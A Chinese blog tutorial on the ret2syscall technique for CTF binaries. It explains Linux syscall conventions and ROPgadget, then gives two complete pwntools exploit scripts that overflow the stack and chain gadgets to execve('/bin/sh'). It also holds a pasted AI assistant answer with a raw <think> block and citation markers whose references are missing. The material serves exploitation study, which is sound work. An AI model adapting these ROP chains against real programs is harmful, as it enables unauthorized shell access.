8.6ret2syscall

8.6ret2syscall

一、系统调用

系统调用(syscall)是用户态程序请求操作系统内核服务的接口。他是应用程序与操作系统交互的核心机制,允许程序访问底层硬件、文件系统、进程管理等特权功能。

系统调用的作用:(提供安全访问机制,权限隔离,封装底层细节)

操作系统为保护系统稳定性,将运行换将分为:

用户态:普通程序运行,权限受限
内核态:操作系统核心代码运行,最高权限

流程:

1.用户程序触发系统调用:
通过
32位:int 0x80   --触发系统调用的两种方式
64位: syscall
进入内核态,参数通过寄存器传递
2.内核处理请求
3.返回结果
内核将结果存回寄存器(eax/rax)

二、常见的系统调用示例

Linux系统调用表(system call table)-CSDN博客

系统调用			功能				32位调用号(eax)			64位调用号(rax)
read		读取文件/输入				3						0
write		写入文件/输出				4						1
execve		执行程序(如/bin/sh)		11						59
exit		退出进程					1						60
open		打开文件					5						2

32位与64位区别:

特性			32位(int 0x80)					64位(syscall)
触发指令			int 0x80						syscall
调用号寄存器		eax								rax
参数传递			ebx, ecx, edx, esi, edi			rdi, rsi, rdx, r10, r8, r9
返回值			eax								rax
典型例子			execve("/bin/sh", 0, 0)			execve("/bin/sh", NULL, NULL)

三、ret2syscall

ret2syscall,即通过ROP控制程序执行系统调用,获取 shell。

ROP(面向返回的编程)是一种高级漏洞利用技术,用于绕过内存防护机制(如NX/DEP、栈不可执行),通过复用程序中已有的代码片段(gadgets)构造恶意逻辑,最终实现任意代码执行。

工具:

ROPgadget --binary 文件名 --only 'pop|ret' | grep '寄存器名'
ROPgadget --binary 文件名 --only 'int'
ROPgadget --binary 文件名 --string '/bin/sh'

四、实战

32位:

以rop题为例子:

在这里插入图片描述

一个开启了NX保护的32位静态的ELF可执行文件(静态文件一般比较大,可利用片段多)

在这里插入图片描述

发现栈溢出,静态文件不能利用libc的方法,shift+f12发现/bin/sh位于0x080BE408,利用gets修改main函数的返回值到我们的gadgets,从而进行系统调用,在这里我们执行execve(‘bin/sh’,NULL,NULL)

因为是32位程序,进行系统调用,需要eax寄存器来存储系统调用号,利用其他寄存器放置参数,再次用int 0x80进行触发中断

execve函数,对应值为11,0xb
所以:
eax <- 0xb
execve函数的三个参数分别对应着ebx,ecx,edx三个寄存器
ebx <- /bin/sh
ecx <- 0
edx <- 0
注意:
ecx:参数列表(argv数组),通常以NULL结尾。
edx:环境变量列表(envp数组),通常以NULL结尾
在漏洞利用时,将ecx和edx设为0是最简化的做法

接下来进行寄存器赋值:

汇编语言中有一条指令是pop xxx,可将栈顶数据弹出并存入xxx中,这个xxx可以为寄存器

利用ROPgadget,比如说 pop eax ; ret(从栈顶弹出一个值到 eax,然后返回到下一条指令)

❯ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
  • ROPgadget --binary rop:分析二进制文件 rop,提取所有可用的 gadgets。
  • --only 'pop|ret'只显示以 pop 开头并以 ret 结尾的 gadgets(即寄存器操作+返回)。
  • | grep 'eax'过滤出包含 eax 寄存器的 gadgets(用于控制 eax,常用于系统调用号设置)。

在这里插入图片描述

在这里插入图片描述

查看偏移量发现是112:

在这里插入图片描述

exp:

from pwn import *

p=process('./rop')

int_addr=0x8049421

bin_sh_addr=0x80be408

pop_edx_ecx_ebx_ret=0x806eb90

pop_eax_ret=0x80bb196

payload=b'a'*112
payload+=p32(pop_eax_ret)+p32(0xb)
payload+=p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)
payload+=p32(int_addr)

p.sendline(payload)
p.interactive()

其他:

03ret2syscall_32

PolarD&N

64位:

ida如图:

在这里插入图片描述

发现溢出,padding = 0x30 + 0x8

gadget这里使用ropper获取,使用pip install ropper安装

在这里插入图片描述

注意: 我们使用read()系统调用后需要send()发送/bin/sh写入到data数据段中,是规定的8个字节

data:初始化的全局变量和静态变量(可读可写,不可执行)
bss:未初始化的全局变量和静态变量(可读可写可执行)

如何获取data数据段的地址呢?
首先使用pwndbg x64_ret2syscall,接着输入b main断点,然后run,最后使用vmmap(用于显示当前进程的内存映射布局)查看

from pwn import *

p = process("./x64_ret2syscall")
p.recvuntil("Welcome to x64_ret2syscall")

buf = 0x6cc000 - 0x40
syscall = 0x0000000000467565
pop_rax_ret = 0x000000000041f5b4

pop_rdi_ret = 0x0000000000401656
pop_rsi_ret = 0x0000000000401777
pop_rdx_ret = 0x0000000000442a46
pop_rdx_rsi_ret = 0x0000000000442a69

padding = 0x30 + 0x8
payload = b"A" * padding 
# read(0,buf,8)
# payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(8)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(8) + p64(buf)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall)

# execve("/bin/sh",0,0)
# payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(buf) + p64(pop_rdx_rsi_ret) + p64(0) + p64(0)
payload += p64(pop_rax_ret) + p64(0x3b)
payload += p64(syscall)


p.send(payload)
p.send("/bin/sh") #/bin/sh 只是作为数据参数传递给系统调用。
p.interactive()
<think>好的,我需要帮助用户理解ret2syscall64位系统上的实现原理和使用方法。首先,我需要回顾一下ret2syscall的基本概念。根据引用[1],ret2syscall是一种利用二进制漏洞的技巧,通过控制程序执行流来触发系统调用,从而获取系统控制权。接下来,我需要比较32位和64位系统的不同之处,特别是系统调用的机制。 根据引用[4],64位系统使用syscall指令而不是int 80h,并且系统调用号存放在rax寄存器,参数则通过rdi、rsi、rdx等传递。例如,execve的系统调用号在64位是0x3b。这提示在构造ROP链时,需要正确设置这些寄存器的值,然后跳转到syscall指令的地址。 然后,我需要考虑漏洞利用的具体步骤。通常,攻击者需要覆盖返回地址,控制程序执行流程,利用现有的gadgets来设置寄存器,最后执行syscall。引用[2]和[3]提到,syscall指令用于触发系统调用,而execve常用于获取shell。因此,构造ROP链时,需要找到设置rax=0x3b、rdi指向"/bin/sh"、rsi和rdx为0的gadgets,并确保栈布局正确。 还需要注意64位和32位的区别,比如参数寄存器的不同,以及系统调用号的差异。引用[4]详细说明了这些不同点,需要确保用户清楚这些细节。此外,可能需要处理地址随机化(ASLR)和栈保护机制,比如通过信息泄露来获取地址,或者寻找不依赖地址的gadgets。 最后,我应该总结实现步骤,并给出示例的利用代码结构,帮助用户更好地理解。同时,要提醒用户在实际操作中需要注意的问题,比如对齐和参数顺序。这样,用户就能系统地掌握ret2syscall64位系统中的实现方法和利用技巧。</think>### ret2syscall64位系统上的实现原理与使用方法 #### 一、实现原理 ret2syscall 是一种通过**控制程序执行流**,构造特定寄存器状态并触发系统调用的漏洞利用技术。在64位系统中,系统调用通过 `syscall` 指令实现(而非32位的 `int 80h`),系统调用号存放在 `rax` 寄存器,参数依次通过 `rdi`、`rsi`、`rdx`、`r10`、`r8`、`r9` 传递[^4]。例如,`execve("/bin/sh",0,0)` 的系统调用号为 `0x3b`[^3]。 #### 二、利用步骤 1. **覆盖返回地址**:通过栈溢出或堆漏洞覆盖返回地址,劫持程序执行流。 2. **构造寄存器状态**: - 利用 ROP(Return-Oriented Programming)链设置 `rax=0x3b`(execve 的系统调用号) - `rdi` 指向字符串 `/bin/sh` 的地址 - `rsi=0`(参数数组指针)、`rdx=0`(环境变量指针) 3. **触发系统调用**:跳转到 `syscall` 指令地址执行。 #### 三、关键代码示例 ```python # 假设已获取以下 gadget 地址: # pop_rax_ret, pop_rdi_ret, pop_rsi_ret, pop_rdx_ret, syscall_addr, binsh_addr payload = b'A' * offset # 填充缓冲区 payload += p64(pop_rax_ret) # 设置 rax=0x3b payload += p64(0x3b) payload += p64(pop_rdi_ret) # 设置 rdi=binsh_addr payload += p64(binsh_addr) payload += p64(pop_rsi_ret) # 设置 rsi=0 payload += p64(0) payload += p64(pop_rdx_ret) # 设置 rdx=0 payload += p64(0) payload += p64(syscall_addr) # 执行 syscall ``` #### 四、注意事项 1. **寄存器顺序**:必须按 `rdi, rsi, rdx, r10...` 顺序传递参数。 2. **地址对齐**:部分架构要求栈对齐(如16字节对齐)。 3. **防御绕过**:需绕过 ASLR(地址随机化)和 NX(不可执行栈)防护,常用方法包括: - 通过信息泄露获取地址 - 使用 PLT/GOT 表中的固定地址 #### 五、典型应用场景 - 获取系统 shell(`execve("/bin/sh",0,0)`) - 文件读写(如 `open/read/write` 系统调用链) - 权限提升(配合 SUID 程序)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

by polar

我知道你很帅

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值